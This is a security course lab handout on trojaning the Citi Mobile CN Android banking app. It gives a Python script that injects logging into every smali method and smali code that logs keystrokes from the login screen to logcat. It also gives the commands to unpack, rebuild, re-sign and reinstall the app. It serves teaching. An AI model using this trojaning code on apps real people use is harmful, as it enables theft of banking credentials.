Project 5x: Adding a Keylogger Trojan to the Citi Mobile CN Android App (15 pts.)

Don't Be Evil

This is a nasty thing to do. Only distribute your trojaned apps in controlled test environments!

Please be responsible in how you use this information! If you commit crimes, I won't be able to save you.

What You Need for This Project

Purpose

We'll take an Android app and modify it to steal keypresses. The most important new technique in this project is using the python script "autotroj.py" to locate the target.

This version just puts the passwords in the log, which is easy but not very dangerous.

Installing a Real App on the Emulated Phone

Launch Genymotion. Open the Google Play store and install Citi Mobile CN, as shown below.

 

Responsible Disclosure

I told Citibank about this in Feb., 2015. They really, really do not care.

OWASP classified this vulnerability as #10 of the Top Ten Mobile Risks in 2011, but the new 2016 list raised it to #8.

Troubleshooting

If Citi ever fixes this (unlikely), you can get the app version I used here:

https://samsclass.info/128/proj/com.citibank.mobile.cn-1.apk

Unpacking the APK File

Pull the APK file off the phone, as shown below.

Move the APK file to some convenient directory to work in, such as Downloads. I worked in a subdirectory named "citi".

Unpack the APK file with apktool, as shown below.

Viewing an Unmodified Smali File

Navigate into the unpacked app's directory, and into the "smali" subdirectory, as shown below.

Open the "a.1.smali" file in a text editor. If you can show line numbers in your text editor, that will make this project easier.

Scroll down to see the "constructor" method, as shown below.

The first time this file is used by an app, it calls the "constructor" method.

The Need for Automatic Trojaning

I had a lot of trouble finding the password in this app. It wasn't stored in a string named "password" or anything similar that I could find.

When that happens, one powerful technique is to add trojan code to every method in the app, so the log is full of detailed information. That's what we'll do here.

Preparing Autotroj.py

Open a text editor, paste in the code below, and save it in your working directory (I used "citi"), with the filename autotroj.py
#!/usr/bin/python

import os
import sys
import fileinput

root_dir = raw_input("Enter relative path to smali files (Ex: com.bank/smali): ")
exclude = raw_input("files to exclude (Ex: google/android) (* for none): ")
exclude2 = raw_input("More files to exclude (Ex: google/android) (* for none): ")

print "First pass, increasing locals"
for directory, subdirectories, files in os.walk(root_dir):
    for file in files:
        filepath = os.path.join(directory, file)
	if (((exclude in filepath) and (exclude != "*")) or ((exclude2 in filepath) and (exclude2 != "*"))):
		print "Excluding ", filepath
	else:
		print "Processing ", filepath
		for i, line in enumerate(fileinput.input(filepath, inplace=1)):
	   	 sys.stdout.write(line.replace('.locals 0', '.locals 1'))

troj1 = '\n\n# TROJAN\nconst-string v0, "'
troj2 = '"\ninvoke-static {v0, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I\n# TROJAN END\n\n'

print "Second pass, adding trojans"
for directory, subdirectories, files in os.walk(root_dir):
    for file in files:
        filepath = os.path.join(directory, file)
	if (((exclude in filepath) and (exclude != "*")) or ((exclude2 in filepath) and (exclude2 != "*"))):
		print "Excluding ", filepath
	else:
		print "Processing ", filepath
		for i, line in enumerate(fileinput.input(filepath, inplace=1)):
		    sys.stdout.write(line.replace('.prologue', '.prologue' + troj1 + filepath + ":" + str(i) + troj2))

Using Autotroj.py

In a Terminal window, in your working directory, execute this command:
python autotroj.py
The program asks three questions. Give these answers, as shown in bold font below. A long list of files scrolls by, as the program adds trojan code to them.

The "google/android" files are excluded because my sloppy program breaks them, and they aren't usually important for this purpose.

Viewing a Modified Smali File

Navigate into the unpacked app's directory, and into the "smali" subdirectory, as shown below.

Open the "a.1.smali" file again in a text editor.

Scroll down to see the "constructor" method, as shown below.

The "constructor" method now contains Trojan code, which makes a log entry each time it runs. Every method in the app has similar Trojan code in it now.

Rebuilding the App

Rebuild the app and sign it, as shown below.

You should already have a self-signed certificate--if you don't, see the previous Android trojaning project fpr instructions.

Uninstalling the Original App

On your Genymotion virtual Android device, tap the envelope-shaped button at the bottom center to get to the Home screen.

Tap the circle at the bottom center.

Tap Settings.

Tap Apps.

Tap Citibank CN.

Tap Uninstall.

Tap OK.

Installing the Modified App

Drop the APK file from the dist subdirectory onto your Genymotion Android device and drop it.

Monitoring the Log

On your computer, from the command prompt or Terminal window, go to the directory containing adb and execute this command:
./adb logcat
Hundreds of messages scroll by, and the app takes a minute or two to load.

When you see the screen below, accept the default selection of English and click Apply.

When you see the logon screen, as shown below, click in the "User ID" field and press a several times.

Notice the pattern of log messages. Each time you press a letter, the same three log entries appear, as shown below.

E/com.citibank.mobile.cn-1/smali/org/apache/cordova/engine/SystemWebView.smali:52( 6372): ...
E/com.citibank.mobile.cn-1/smali/org/apache/cordova/CordovaWebViewImpl$EngineClient.smali:72( 6372): ...
E/com.citibank.mobile.cn-1/smali/org/apache/cordova/CordovaWebViewImpl.smali:147( 6372): ...

Clearly these three methods handle keypresses.

Adding Keylogger Code

Open this file in a text editor:
smali/org/apache/cordova/CordovaWebViewImpl$EngineClient.smali
Add the Trojan code shown below. Note that two transformations are required to convert a KeyCode object into a String.

For your convenience, here's the second block of code:

# EVIL TROJAN CODE LOGGING KEYSTROKES 

invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v7

invoke-virtual {v7}, Ljava/lang/Integer;->toString()Ljava/lang/String;
move-result-object v7

const-string v6, "TROJAN IN CordovaWebView$EngineClient:116 keycode=" 
invoke-static {v6, v7}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I 

# END OF EVIL TROJAN CODE

Rebuild and Sign the Modified App

Rebuild the app and sign it again, as you did before.

If you make errors in the Trojan code, the app may fail to rebuild.

Uninstall the Old App and Install the New One

As you did before, uninstall the old app and install the new one.

If you make errors in the code, the new app may crash. If that happens, fix the code and rebuild it again.

Monitor the Log

In a Terminal window, execute this command:
./adb logcat | grep TROJAN

Entering Data into the Trojaned App

At the login screen, type this username:
abc
At the login screen, type this password, replacing YI with your initials, as shown below.
dddYI

The log should show a series of numbers similar to that shown below. These numbers are key codes, spelling out the characters you typed in.

Each number appears twice, and here are the first few letters:

Saving a Screen Image

Make sure the keycodes are visible, as shown above.

Capture a full-screen image.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Save the image with the filename "YOUR NAME Proj 5x", replacing "YOUR NAME" with your real name.

Turning in your Project

Email the image to cnit.128sam@gmail.com with the subject line: Proj 5x from YOUR NAME
Posted 3-1-16 by Sam Bowne